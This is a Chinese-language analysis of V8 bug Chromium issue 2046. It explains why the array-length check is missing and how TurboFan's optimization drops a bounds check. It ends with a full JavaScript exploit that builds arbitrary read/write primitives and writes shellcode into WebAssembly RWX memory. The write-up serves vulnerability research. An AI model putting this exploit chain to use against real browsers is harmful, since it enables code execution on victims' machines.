Chrome Issue 2046 NewFixedArray 数组长度未验证漏洞分析与利用
环境搭建
编译存在漏洞的v8源码:
git reset --hard 64cadfcf4a56c0b3b9d3b5cc00905483850d6559
gclient sync
tools/dev/gm.py x64.release
tools/dev/gm.py x64.debug
安装Turbolizer可视化工具:
(1)安装npm
Ubuntu下默认的apt里面的nodejs不好使,安装最新版的
python-software-properties 有些情况下可能会找不到,然后会提示你安装另一个包,如果是这样的话根据提示安装那个包就好了。
sudo apt-get install curl python-software-properties
curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash -
sudo apt-get install nodejs
sudo apt-get install npm
(2)启动
cd v8/v8/tools/turbolizer
npm i
npm run-script build
python -m SimpleHTTPServer 8000
之后通过chrome浏览器访问 127.0.0.1:8000
(3)生成Turbolizer文件
./d8 --trace-turbo ./poc.js
基础知识
JavaScript splice() 方法
定义和用法
splice() 方法向/从数组中添加/删除项目,然后返回被删除的项目。
注释:该方法会改变原始数组。
语法:
arrayObject.splice(index,howmany,item1,.....,itemX)
index 必需。整数,规定添加/删除项目的位置,使用负数可从数组结尾处规定位置。
howmany 必需。要删除的项目数量。如果设置为 0,则不会删除项目。
item1, ..., itemX 可选。向数组添加的新项目。
Array.prototype.concat.apply
apply方法会调用一个函数,apply方法的第一个参数会作为被调用函数的this值,apply方法的第二个参数(一个数组,或类数组的对象)会作为被调用对象的arguments值,也就是说该数组的各个元素将会依次成为被调用函数的各个参数;
简单来说,该方法可以将多维数组转化成一维数组。
Math.max()
函数返回一组数中的最大值。
v8 指针压缩
为了节省内存空间,v8将64位的指针压缩成了32位,具体做法是将高32位存放在r13寄存器,用4个字节存储低32位,在访问某个指针时,就将低32位指针加上r13保存的高32位。
同时,为了进一步节省内存空间,之前SMI 存储为value « 32,低32位都为0,现在用SMI的值用4个字节存储,并且为了不和指针混淆,最后一位不用(指针最后一位为1),所以将value « 1,相当于将原来的值乘以了2。
demo 代码如下:
var a = [0, 1, 2, 3, 4];
%DebugPrint(a);
%SystemBreak();
v8各个类型的转化
PACKED_SMI_ELEMENTS:小整数,又称 Smi。
PACKED_DOUBLE_ELEMENTS: 双精度浮点数,浮点数和不能表示为 Smi 的整数。
PACKED_ELEMENTS:常规元素,不能表示为 Smi 或双精度的值。
转化关系如下:
元素种类转换只能从一个方向进行:从特定的(例如 PACKED_SMI_ELEMENTS)到更一般的(例如 PACKED_ELEMENTS)。例如,一旦数组被标记为 PACKED_ELEMENTS,它就不能回到 PACKED_DOUBLE_ELEMENTS。
demo 代码:
const array = [1, 2, 3];
// elements kind: PACKED_SMI_ELEMENTS
array.push(4.56);
// elements kind: PACKED_DOUBLE_ELEMENTS
array.push('x');
// elements kind: PACKED_ELEMENTS
PACKED 转化到 HOLEY类型:
demo代码:
const array = [1, 2, 3, 4.56, 'x'];
// elements kind: PACKED_ELEMENTS
array.length; // 5
array[9] = 1; // array[5] until array[8] are now holes
// elements kind: HOLEY_ELEMENTS
即将密集数组转化到稀疏数组。
处理优化的各个阶段
漏洞分析
漏洞在于CodeStubAssembler::AllocateFixedArray 的两个宏实现:
macro NewFixedArray<Iterator: type>(length: intptr, it: Iterator): FixedArray {
if (length == 0) return kEmptyFixedArray;
return new
FixedArray{map: kFixedArrayMap, length: Convert<Smi>(length), objects: ...it};
}
macro NewFixedDoubleArray<Iterator: type>(
length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {
if (length == 0) return kEmptyFixedArray;
return new FixedDoubleArray{
map: kFixedDoubleArrayMap,
length: Convert<Smi>(length)
floats: ...it
};
}
在两个宏实现中都没有对length的边界大小进行判断就直接新建相应对象,其中FixedArray对象最大长度FixedArray::kMaxLength为0x7fffffd,FixedDoubleArray对象最大长度为FixedDoubleArray::kMaxLength为0x3fffffe。
所以漏洞在于能够创建大于kMaxLength的FixedArray或FixedDoubleArray对象。
漏洞调用链:
// builtins/array-splice.tq
ArrayPrototypeSplice -> FastArraySplice -> FastSplice -> Extract -> ExtractFixedArray -> NewFixedArray
Poc1:
array = Array(0x80000).fill(1); // [1]
array.prop = 1; // [2]
args = Array(0x100 - 1).fill(array); // [3]
args.push(Array(0x80000 - 4).fill(2)); // [4]
giant_array = Array.prototype.concat.apply([], args); // [5]
giant_array.splice(giant_array.length, 0, 3, 3, 3, 3); // [6]
%DebugPrint(giant_array.length); // 输出DebugPrint: Smi: 0x8000000 (134217728)
[1] 处申请了一个0x80000大小的数组,[3]处又创建了一个0xff大小,每个元素为array的对象,此时0xff * 0x80000 = 0x7f80000 个元素。[4] 处再push进一个0x7fffc个元素的数组,此时共有0x7f80000 + 0x7fffc = 0x7fffffc个元素,而FixedDoubleArray::kMaxLength = 0x7fffffd。[5]处利用Array.prototype.concat.apply 将上述混合的对象转化成一维数组。最后,[6]处再次利用splice方法添加4个元素,现在一共有0x7fffffc + 4 = 0x8000000个元素,导致giant_array的长度为FixedArray::kMaxLength + 3。
[2] 处设置属性是为了调用Array.prototype.concat时进入慢路径,因为快路径上有长度检查:
// builtins/builtins-array.cc:1414
MaybeHandle<JSArray> Fast_ArrayConcat(Isolate* isolate,
BuiltinArguments* args) {
// ...
// Throw an Error if we overflow the FixedArray limits
if (FixedDoubleArray::kMaxLength < result_len ||
FixedArray::kMaxLength < result_len) {
AllowHeapAllocation gc;
THROW_NEW_ERROR(isolate,
NewRangeError(MessageTemplate::kInvalidArrayLength),
JSArray);
}
Poc2 和Poc1 类似,只是将数组类型改成了HOLEY_DOUBLE_ELEMENTS,因为HOLEY_DOUBLE_ELEMENTS类型大小最大为0x3fffffe,能更快地触发漏洞。
Poc2:
// HOLEY_DOUBLE_ELEMENTS kind, size=0x40000, filled with 1.1's
array = Array(0x40000).fill(1.1);
// Total number of elements in `args`: 0x40000 * 0xff = 0x3fc0000
args = Array(0x100 - 1).fill(array);
// We want a size that's just less than FixedDoubleArray::kMaxLength = 0x3ffffe
// This new array that is pushed onto `args` can actually have a maximum size
// of (0x40000 - 2), but Sergey chooses to use (0x40000 - 4)
// Total number of elements in `args`: 0x3fc0000 + 0x3fffc = 0x3fffffc
args.push(Array(0x40000 - 4).fill(2.2));
// `Array.prototype.concat` fast path, the length check passes as the final
// length of `giant_array` becomes 0x3fffffc, which is equal to
// `FixedDoubleArray::kMaxLength - 2`
giant_array = Array.prototype.concat.apply([], args);
// No length check on `Array.prototype.splice`, `giant_array.length` is now
// 0x3ffffff, which is `FixedDoubleArray::kMaxLength + 1`
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
length_as_double =
new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];
function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0); // [1]
let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];
corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}
for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}
在Turbolizer V8.TFTyper 137 中可以看到Poc2的执行过程:
Turbolizer 认为array.length的长度应该处于Double Array的size范围内,为(0, 67108862),而实际array.length 为67108863,导致后续的计算和实际结果并不相同。具体计算过程如下:
function trigger(array) {
var x = array.length; // Range(0, 67108862), actual: Range(0, 67108863), x = 67108863
x -= 67108861; // Range(-67108861, 1), actual: Range(-67108861, 2), x = 2
x = Math.max(x, 0); // Range(0, 1), actual: Range(0, 2), x = 2
x *= 6; // Range(0, 6), actual: Range(0, 12), x = 12
x -= 5; // Range(-5, 1), actual: Range(-5, 7), x = 7
x = Math.max(x, 0); // Range(0, 1), actual: Range(0, 7), x = 7
// [...]
}
最后得到x的值为7,而Turbolizer认为x的范围为(0,1),后续可以造成越界访问。
关键是后续越界写时,会有MaybeGrowFastElements检查是否将数组类型转成稀疏数组,如下图,图中的CheckBounds是用于检查数组索引是否大于’length+1024’,如果大于’length+1024’,就会将backing store转成字典,无法进行优化,所以越界读写也有范围限制,要突破该限制,可以在后面布置一个浮点型数组,修改其length,构造另一个可越界读写的数组,且没有限制。
图中左边红框NumberSilenceNaN 表示length_as_double,而索引x的判断经由右边的CheckBounds检查和MaybeGrowFastElements检查,最后在StoreElement 进行”corrupting_array[x] = length_as_double;” 存储。
CheckBounds检查经过之前的处理,x的范围已经被认为是为(0,1),接下来我们看在LoadElimination 阶段如何优化消除了MaybeGrowFastElements :
LoadElimination 阶段遇到MaybeGrowFastElements 节点会调用ReduceMaybeGrowFastElements 尝试进行优化消除:
// compiler/typed-optimization.cc:166
Reduction TypedOptimization::ReduceMaybeGrowFastElements(Node* node) {
Node* const elements = NodeProperties::GetValueInput(node, 1);
Node* const index = NodeProperties::GetValueInput(node, 2); // [1]
Node* const length = NodeProperties::GetValueInput(node, 3); // [2]
Node* const effect = NodeProperties::GetEffectInput(node);
Node* const control = NodeProperties::GetControlInput(node);
Type const index_type = NodeProperties::GetType(index);
Type const length_type = NodeProperties::GetType(length);
// Both `index` and `length` need to be unsigned Smis
CHECK(index_type.Is(Type::Unsigned31()));
CHECK(length_type.Is(Type::Unsigned31()));
if (!index_type.IsNone() && !length_type.IsNone() && // [3]
index_type.Max() < length_type.Min()) {
Node* check_bounds = graph()->NewNode( // [4]
simplified()->CheckBounds(FeedbackSource{},
CheckBoundsFlag::kAbortOnOutOfBounds),
index, length, effect, control);
ReplaceWithValue(node, elements); // [5]
return Replace(check_bounds);
}
return NoChange();
}
由上述可知:[1] 处为索引的值,范围为(0,1),[2]处为corrupting_array的length,范围为(0, 134217725),经过优化后变为(2, 2),因为循环中corrupting_array赋值只有两个元素,并且没有被修改。所以[3] 处的index_type.Max()为1, length_type.Min()为2,说明索引比数组长度小,并不需要对数组进行扩展。
进入if判断后,[4] 处创建一个新的CheckBounds节点(假设为node_x),会检查实际index是否小于数组大小,如果创建成功,实际index此时为7,不会小于数组大小,无法通过检查。但[5] 处的 ReplaceWithValue(node, elements);操作会导致CheckBounds节点无法创建成功。
ReplaceWithValue 函数如下:
void GraphReducer::ReplaceWithValue(Node* node, Node* value, Node* effect,
Node* control) {
if (effect == nullptr && node->op()->EffectInputCount() > 0) {
effect = NodeProperties::GetEffectInput(node); // [1]
}
if (control == nullptr && node->op()->ControlInputCount() > 0) {
control = NodeProperties::GetControlInput(node);
}
// Requires distinguishing between value, effect and control edges.
for (Edge edge : node->use_edges()) { // [2]
Node* const user = edge.from();
DCHECK(!user->IsDead());
if (NodeProperties::IsControlEdge(edge)) {
if (user->opcode() == IrOpcode::kIfSuccess) {
Replace(user, control);
} else if (user->opcode() == IrOpcode::kIfException) {
DCHECK_NOT_NULL(dead_);
edge.UpdateTo(dead_);
Revisit(user);
} else {
DCHECK_NOT_NULL(control);
edge.UpdateTo(control);
Revisit(user);
}
} else if (NodeProperties::IsEffectEdge(edge)) {
DCHECK_NOT_NULL(effect);
edge.UpdateTo(effect); // [3]
Revisit(user);
} else {
DCHECK_NOT_NULL(value);
edge.UpdateTo(value); // [4]
Revisit(user);
}
}
}
void UpdateTo(Node* new_to) {
Node* old_to = *input_ptr_;
if (old_to != new_to) {
if (old_to) old_to->RemoveUse(use_);
*input_ptr_ = new_to;
if (new_to) new_to->AppendUse(use_);
}
}
...
void Node::RemoveUse(Use* use) {
DCHECK(first_use_ == nullptr || first_use_->prev == nullptr);
if (use->prev) {
DCHECK_NE(first_use_, use);
use->prev->next = use->next; // 将use移走
} else {
DCHECK_EQ(first_use_, use);
first_use_ = use->next;
}
if (use->next) {
use->next->prev = use->prev;
}
}
[2] 处是遍历节点的use边,此时节点为MaybeGrowFastElements,use边为”MaybeGrowFastElements <— StoreElement “,该循环的作用是将use边的”input node”(此处为MaybeGrowFastElements节点)通过[4] 处的edge.UpdateTo(value) -> Node::RemoveUse 的链表操作将节点移走,替换成传进的参数value(即LoadField[+8] 节点)。
效果如下:
value value
LoadField[+8] <--- MaybeGrowFastElements <--- StoreElement
edge edge
将MaybeGrowFastElements节点移走:
LoadField[+8] <--- StoreElement
MaybeGrowFastElements节点的input 边和 use边 关系如下图所示:
调用 ReplaceWithValue(node, elements); 本来是想将新生成的CheckBounds节点(node_x)替换 MaybeGrowFastElements,这样use边就变为CheckBounds(node_x)<— StoreField[+12] 和 CheckBounds(node_x)<— EffectPhi。
但调用 ReplaceWithValue(node, elements); 时effect参数为空,所以进入[1]处,取原来节点的输入边作为effect,即”CheckBounds <— MaybeGrowFastElements” (此处CheckBounds为之前检查索引是否小于length + 1024,设为node_y)。在[3] 处用effect进行替换,导致use边就变为CheckBounds(node_y)<— StoreField[+12] 和 CheckBounds(node_y)<— EffectPhi。
这样导致node_x失去use边,变成无效节点。
漏洞利用
(1)利用漏洞可以越界读写,在后面布置一个浮点型数组oob_array,越界修改它的长度,就可以通过这个浮点型数组进行越界读写,更加方便。
(2)利用越界数组搜索ArrayBuffer数组,找到backing_store所在位置,可以通过backing_store构造任意读写的原语
搜索需要注意的是由于第(1)步覆盖length时,将elements字段也覆盖了(新版v8引进的指针压缩,导致字段都占四个字节,而浮点型数组赋值是8个字节为单位)。所以将elements覆盖成1(表示指针),即从0起始地址开始搜索。然后根据调试确定ArrayBuffer 以及后面的wasm Instance大概处于什么内存区间,进行遍历搜索。在笔者的环境中,搜索以下几个区域:
var search_space = [[0x8902000/8, (0x8940000/8)-1], [0x8213000/8, (0x8280000/8)-1], [(0x8040000-8)/8, 0x805b000/8], [0x8100000/8, (0x818d000/8)-1], [0x8740000/8, (0x8900000/8)-1], [0x8901000/8, (0x8940000/8)-1]];
该方法由于某个区域可能不可访问,导致崩溃,所以exp执行成功有一定概率。
(3)利用越界数组搜索wasm function的位置,这里在mask后面布置的兑现是wasm Instance,因为rwx区域位于wasm Instance +0x68处,可以直接读取。而不用根据wasm function->wasm_shared_info->wasm_data->wasm_rwx 构造任意读原语一步步读取。
(4)利用任意写原语将shellcode 写入 rwx区域,即可完成利用。
编写该利用存在的坑:由于越界数组为浮点型,每次读写都是8个字节,而由于v8指针压缩的缘故,字段都被保存为4个字节,所以读写的字段可能位于高4个字节或低4个字节,就需要根据读出的内容进行分情况判断。
exp 代码:
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
var Uint32 = new Uint32Array(buf);
var arraybuf = new ArrayBuffer(0x12333);
function f2i(f)
{
float64[0] = f;
return BigInt(Uint32[0]) + (BigInt(Uint32[1]) << 32n);
}
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
function f2half(val)
{
float64[0] = val;
let tmp = Array.from(Uint32);
return tmp;
}
function half2f(val)
{
Uint32.set(val);
return float64[0];
}
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
function gc() {
for (let i = 0; i < 100; i++) {
new ArrayBuffer(0x100000);
}
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm_function = wasmInstance.exports.main;
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
length_as_double = new Float64Array(new BigUint64Array([0x2424242400000001n]).buffer)[0];
var obj;
var corrupting_array;
var corrupted_array;
function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0); // [1]
corrupting_array = [0.1, 0.1];
corrupted_array = [0.1];
obj = {mark: 0xdead, obj: wasmInstance};
corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}
for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}
var oob_array = trigger(giant_array)[1];
console.log("[+] conrrupted array length : 0x" + hex(oob_array.length));
gc();
var backing_store_idx = 0;
var search_space = [[0x8902000/8, (0x8940000/8)-1], [0x8213000/8, (0x8280000/8)-1], [(0x8040000-8)/8, 0x805b000/8], [0x8100000/8, (0x818d000/8)-1], [0x8740000/8, (0x8900000/8)-1], [0x8901000/8, (0x8940000/8)-1]];
for(let i = 0; i < search_space.length; i++)
{
var find = 0;
for(let j = search_space[i][0]; j < search_space[i][1]; j++)
{
if((f2i(oob_array[j]) & 0xffffffffn) == 0x12333n /*|| ((f2i(oob_array[j])) >> 32n) == 0x12333n*/){
backing_store_idx = j + 1;
console.log("[+] find backing_store : 0x" + hex(f2i(oob_array[backing_store_idx])));
if(((f2i(oob_array[j+1])) & 0xfffn) == 0x0n){
find = 1;
break;
}
}
else if(((f2i(oob_array[j])) >> 32n) == 0x12333n){
backing_store_idx = j;
}
}
if(find == 1) break;
}
var data_view = new DataView(arraybuf);
function dataview_read64(addr)
{
oob_array[backing_store_idx] = i2f(addr);
return f2i(data_view.getFloat64(0, true));
}
//----- arbitrary write
function dataview_write(addr, payload)
{
oob_array[backing_store_idx] = i2f(addr);
for(let i=0; i < payload.length; i++)
{
data_view.setUint8(i, payload[i]);
}
}
for(let i = 0; i < search_space.length; i++)
{
var find = 0;
for(let j = search_space[i][0]; j < search_space[i][1]; j++)
{
if((f2i(oob_array[j]) & 0xffffffffn) == 0x0001bd5an ){ // 0x1bd5a = 0xdead *2
var wasmfunc_addr_idx = j;
var wasmfunc_addr = (f2i(oob_array[wasmfunc_addr_idx])) >> 32n;
console.log("[+] leak wasm_func_addr : 0x" + hex(f2i(oob_array[j])));
console.log("[+] find wasm_func_addr : 0x" + hex(wasmfunc_addr));
find = 1;
break;
}
}
if(find == 1) break;
}
var wasm_rwx_idx = Number((wasmfunc_addr -1n +0x68n)/8n);
console.log("[+] find wasm_rwx_idx: 0x" + hex(wasm_rwx_idx*8));
var wasm_rwx_addr_low = (f2i(oob_array[wasm_rwx_idx-1])) >> 32n;
console.log("[+] find wasm_rwx_addr_low : 0x" + hex(wasm_rwx_addr_low));
if((wasm_rwx_addr_low & 0xfffn) != 0x000n){
var wasm_rwx_addr = (f2i(oob_array[wasm_rwx_idx-1]));
console.log("[+] find wasm_rwx_addr: 0x" + hex(wasm_rwx_addr));
}else{
var wasm_rwx_addr_high = ((f2i(oob_array[wasm_rwx_idx])) & 0xffffffffn) << 32n;
console.log("[+] find wasm_rwx_addr_high : 0x" + hex(wasm_rwx_addr_high));
wasm_rwx_addr = wasm_rwx_addr_high + wasm_rwx_addr_low;
console.log("[+] find wasm_rwx_addr : 0x" + hex(wasm_rwx_addr));
}
dataview_write(wasm_rwx_addr, shellcode);
//%DebugPrint(arraybuf);
wasm_function();
运行效果图:
参考链接
https://www.elttam.com/blog/simple-bugs-with-complex-exploits/#the-codestubassembler
https://v8.dev/blog/elements-kinds
https://www.youtube.com/watch?v=KiWEWLwQ3oI
https://bugs.chromium.org/p/project-zero/issues/detail?id=2046
https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/
https://eternalsakura13.com/2018/08/21/v8_graph/